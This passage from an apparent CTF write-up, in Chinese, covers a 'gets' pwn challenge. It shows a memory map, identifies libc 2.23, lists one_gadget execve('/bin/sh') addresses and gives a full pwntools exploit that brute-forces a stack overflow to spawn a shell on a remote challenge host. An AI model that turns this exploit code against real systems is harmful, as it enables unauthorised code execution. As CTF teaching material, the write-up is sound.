7f57b74ff000-7f57b7500000 rw-p 00000000 00:00 0
7ffdec460000-7ffdec481000 rw-p 00000000 00:00 0                          [stack]
7ffdec57f000-7ffdec582000 r--p 00000000 00:00 0                          [vvar]
7ffdec582000-7ffdec584000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

我们通过(cfree+0x4c)[0x7f57b6f9253c]来最终定位 libc 的版本为2.23.

找onegadget如下:

➜  gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

放上完整exp:

from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath

elf = ELF(elfpath)
bits = elf.bits


def exp(ip, port):
    for i in range(0x1000):
        if args['REMOTE']:
            p = remote(ip, port)
        else:
            p = process(elfpath, timeout=2)
        # gdb.attach(p)
        try:
            payload = 0x18 * 'a' + p64(0x40059B)
            for _ in range(2):
                payload += 'a' * 8 * 5 + p64(0x40059B)
            payload += 'a' * 8 * 5 + '\x16\02'
            p.sendline(payload)

            p.sendline('ls')
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue


if __name__ == "__main__":
    exp('106.75.4.189', 35273)
上一篇:.NET跨平台实践:.NetCore、.Net5/6 Linux守护进程设计


下一篇:sctf_2019_one_heap